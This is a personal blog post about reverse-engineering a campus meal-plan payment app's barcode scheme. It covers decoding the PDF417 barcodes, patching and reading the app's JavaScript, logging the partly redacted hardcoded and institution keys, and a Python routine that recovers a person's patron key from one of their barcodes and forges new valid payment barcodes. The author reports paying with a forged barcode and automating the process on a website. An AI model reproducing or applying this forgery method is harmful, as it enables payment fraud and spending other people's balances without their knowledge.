Ibiyemi Abiodun
« main pageShareBRB
Reverse-engineered meal plansApril 2020 to April 2021
At my school, we have a meal plan currency called Big Red Bucks (BRBs) that we can only spend at the cafés and convenience stores situated across the campus. They can’t be converted back into ordinary dollars or spent anywhere else, but more importantly, they can’t be transferred and they (usually) don’t roll over between school years.
This means that if you don’t frequent the type of cafés which consume BRBs, you might have hundreds left over that will simply be wasted, and if you go there too much, you’ll run out before the year is over. Tragically, I fall into the latter category; at the time of writing I have enough BRBs remaining for 2 or 3 meals, and a month remaining in the school year.
Due to the pandemic, the school implemented a contactless payment solution via the CBORD GET Mobile app, which allows us to pay for our food by scanning a barcode at the register, and having the BRBs automagically subtracted from our accounts.
The GET app is not great, in my opinion. It’s slow and clunky. But more importantly, in order for this barcode scheme to work, the barcode needs to contain information about who generated it. This means that if I could generate barcodes that appear to belong to my friends with hundreds of BRBs remaining (with permission), I could save those BRBs from going to waste, and I could save myself from being BRBroke.
Thus, I figured that I would take a crack at making my own barcode generator. How hard could it be?
Reverse-engineering the barcode
The first obstacle was to figure out how to read what the barcode says. A quick
search revealed that the GET app generates
PDF417 barcodes. I fired up Jupyter
Notebook and downloaded a pip package called pdf417decoder
. Then I generated
some barcodes and ran them through it, and got outputs like these:
The first ten digits formed a number that seemed to increase every time I generated a new barcode. Indeed, they form a Unix timestamp: the number of seconds between the time the barcode was generated, and midnight on January 1, 1970.
The 11th digit was always 1, and the remaining digits had no obvious pattern to them. I was stumped. I asked two friends who were sitting next to me at the time to give me barcodes as well, and that didn’t make things any clearer:
I didn’t make any more progress that night. I wasn’t ready to give up, either, but no amount of XORing the numbers was giving me useful information.
In order for the register to subtract money from the correct person’s account, these strings must contain enough information to uniquely identify the person they belong to. I figured that I would make more progress by inspecting the GET app directly.
Spying on the GET app
APKLab is a gift from the heavens that takes
a lot of the grunt work out of reverse-engineering Android apps. One of its most
important inclusions is that it makes it effortless to patch apps so that they
can be spied on using mitmproxy
.
I downloaded the GET app into an Android emulator from the Google Play store,
patched it using APKLab, reuploaded it to the emulator, and fired up
mitmproxy
:
Again, I was hoping this would be straightforward. Hopefully, the GET app would make a simple request to its servers when a barcode is requested, and then I could generate my own barcodes by spoofing this request. Let’s try generating a barcode!
…and, nothing. The GET app makes four separate requests when I generate a barcode, but none of them contain information about the barcode. There’s a request for my ID photo, and some checks to make sure I have permission to generate barcodes, and that’s about it.
Reverse-engineering the GET app
In order to make more progress, I needed to understand how the app works. So I went back to VSCode and started digging around in the source code of the app. Here, I hit the jackpot. The GET app is written in JavaScript!
Indeed, the assets
folder contains hundreds of JavaScript files, none of which
are minified.
I zeroed in on a file named containers-scan-card-scan-card-module.js
, where I
found a pair of functions called beginBarcodeGeneration
and
createBarcodeString
that contained basically everything I needed:
beginBarcodeGeneration(patronKey, institutionKey) {
return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () {
/// init variables
const cryptoAlgorithm = 'HmacSHA256';
const returnDigits = 9;
const checksum = this.generateDigit(patronKey);
const institutionKeyBytes = this.hexStringToByteArray(institutionKey);
const patronKeyBytesPadded = this.patronKeyToByteArray(patronKey);
const cbordKeyBytes = this.hexStringToByteArray(atob(this.garble));
const sharedKey = this.XorEncrypt(cbordKeyBytes, institutionKeyBytes);
const time = big_integer__WEBPACK_IMPORTED_MODULE_6__(Date.now()).divide(big_integer__WEBPACK_IMPORTED_MODULE_6__(1000));
/// run totp algo
const totp = yield this.generateTOTP(sharedKey, time, returnDigits, cryptoAlgorithm);
const encryptedKey = this.XorEncrypt(patronKeyBytesPadded, this.longToByteArrayLittleEndian(big_integer__WEBPACK_IMPORTED_MODULE_6__(totp)));
const barcodeValue = this.createBarcodeString(time, this.byteArrayToLongLittleEndian(encryptedKey), checksum);
return barcodeValue;
});
}
createBarcodeString(timestamp, encryptedKey, patronKeyChecksum) {
const version = '1';
const timeString = timestamp.toString().padStart(10, '0');
const keyString = encryptedKey.toString().padStart(10, '0');
return timeString + version + keyString + patronKeyChecksum.toString();
}
This was the missing information behind the last 12 digits of the numbers from the barcodes!
- Digit 11 is always
1
- Digits 12-21 are an “encrypted” key containing information about the person the barcode belongs to
- Digit 22 is a checksum for digits 12-21
How the “encrypted” key is generated
First, the app takes the cbordKey
, which is a series of bytes hardcoded into
the app, and the institutionKey
, which is a series of bytes specific to each
school that is retrieved when you log into the app. Then it XORs them together
to make a sharedKey
.
The app then runs the sharedKey
through the TOTP (time-based one time
password) algorithm to generate a time-sensitive 9-digit encrypted key. Only
someone with access to the same cbordKey
and institutionKey
(such as CBORD
themselves) is capable of generating the same encrypted key or verifying that
the encrypted key is valid.
More about TOTP
TOTP is the algorithm that powers many two-factor authentication schemes using an app like Authy or Google Authenticator, which constantly generates six-digit codes based on the current time and a secret known only to your phone and the service you’re signing into.
Normally, TOTP provides a window of validity when the code can be used by dividing the current time in seconds by the size of the window and rounding down. As long as dividing the current time by 30 seconds or so gives the same number, you will get the same code. This is how it’s possible for you to get a code that matches the server’s code. However, the GET app sidesteps this by including an exact timestamp in the barcode instead.
Then the encrypted key is XORed with the patronKey
to get the final number
that is included in the barcode. An important property of the XOR operation is
that if you take two numbers and and take , then
. If I have the same encrypted key, then I can derive the
patronKey
from the barcode, and then I can plug that patronKey
into a
routine to generate as many new barcodes as I want.
How I got the keys
I inserted a bunch of console.log
calls into the code, recompiled the app, and
generated a new barcode. Voila:
containers-scan-card-scan-card-module.js - Line 1581 - Msg: institutionKey 54ca61b73a <redacted>
containers-scan-card-scan-card-module.js - Line 1582 - Msg: institutionKeyBytes 54 ca 61 b7 3a <redacted>
containers-scan-card-scan-card-module.js - Line 1583 - Msg: patronKey <redacted>
containers-scan-card-scan-card-module.js - Line 1584 - Msg: patronKeyBytesPadded <redacted>
containers-scan-card-scan-card-module.js - Line 1585 - Msg: garble NTBGQ0RG <redacted>
containers-scan-card-scan-card-module.js - Line 1586 - Msg: cbordKeyBytes 50 fc df 3f e4 <redacted>
containers-scan-card-scan-card-module.js - Line 1587 - Msg: sharedKey 04 36 be 88 de <redacted>,
Testing it out
I wrote a routine in Python to put it all together:
import base64
import hmac
import struct
import sys
import time
from datetime import datetime
import pdf417
## adapted from https://github.com/susam/mintotp
def hotp(key, counter, digits=6, digest='sha1'):
counter = struct.pack('>Q', counter)
mac = hmac.new(key, counter, digest).digest()
offset = mac[-1] & 0x0f
binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff
return str(binary)[-digits:].zfill(digits)
def xor_encrypt(subject, key):
out = bytearray(len(subject))
for i in range(len(subject)):
out[i] = subject[i] ^ key[i % len(key)]
return out
## this is Luhn checksum, which is the checksum function used in the GET app
def luhn_generate(num, num_digits = None):
digits = []
while num > 0:
digits.insert(0, num % 10)
num = num // 10
if num_digits is not None:
while len(digits) < num_digits:
digits.insert(0, 0)
for i in range(1, len(digits), 2):
digits[i] *= 2
if digits[i] > 9:
digits[i] -= 9
return (sum(digits) * 9) % 10
def generate_get_barcode(img_path, new_timestamp = int(time.time())):
img_data = Image.open(img_path)
barcode_decoder = PDF417Decoder(img_data)
print('decoded barcode: ', barcode_decoder.decode() > 0)
barcode_data = barcode_decoder.binary_data_to_string(decoder6.barcode_binary_data)
barcode_timestamp = int(barcode_data[:10])
barcode_enc = int(barcode_data[11:21])
barcode_enc_bytes = barcode_enc.to_bytes(4, byteorder = 'little')
print('got timestamp: ', datetime.fromtimestamp(barcode_timestamp))
print('got encrypted section: ', barcode_enc)
cbord_key = '<redacted>'
institution_key = '<redacted>'
cbord_key_bytes = bytes.fromhex(base64.b64decode(cbord_key).decode('utf-8'))
institution_key_bytes = bytes.fromhex(institution_key)
shared_key_bytes = xor_encrypt(cbord_key_bytes, institution_key_bytes)
old_barcode_otc = int(hotp(shared_key_bytes, barcode_timestamp, 9, 'sha256'))
old_barcode_otc_bytes = old_barcode_otc.to_bytes(4, byteorder = 'little')
patron_key_bytes = xor_encrypt(barcode_enc_bytes, old_barcode_otc_bytes)
print('derived patron key: ', patron_key_bytes.hex())
patron_key = int.from_bytes(patron_key_bytes, byteorder = 'little', signed = False)
checksum_digit = luhn_generate(patron_key)
if checksum_digit == int(barcode_data[21]):
print('checksum verified')
new_barcode_otc = int(hotp(shared_key_bytes, new_timestamp, 9, 'sha256'))
new_barcode_otc_bytes = new_barcode_otc.to_bytes(4, byteorder = 'little')
new_enc_bytes = xor_encrypt(patron_key_bytes, new_barcode_otc_bytes)
new_enc = int.from_bytes(new_enc_bytes, byteorder = 'little', signed = False)
print('generated new encrypted section: ', new_enc)
new_data = str(new_timestamp).zfill(10) + '1' + str(new_enc).zfill(10) + str(checksum_digit)
print('generated new barcode data: ', new_data)
new_barcode_codes = pdf417.encode(new_data, columns = 2)
new_barcode_image = pdf417.render_image(new_barcode_codes)
new_barcode_image.show()
And I had a new barcode that looked legit. I sent that barcode to my phone, and then I used it to buy a muffin.
What’s next?
The whole point of this was to allow me to be generous and help my friends spend their BRBs that would otherwise be wasted 😌
So I have constructed a website, sharebrb.dev, that automates this whole process. Now I have access to $700 worth of BRBs, and you can too, if you have friends who’ll share.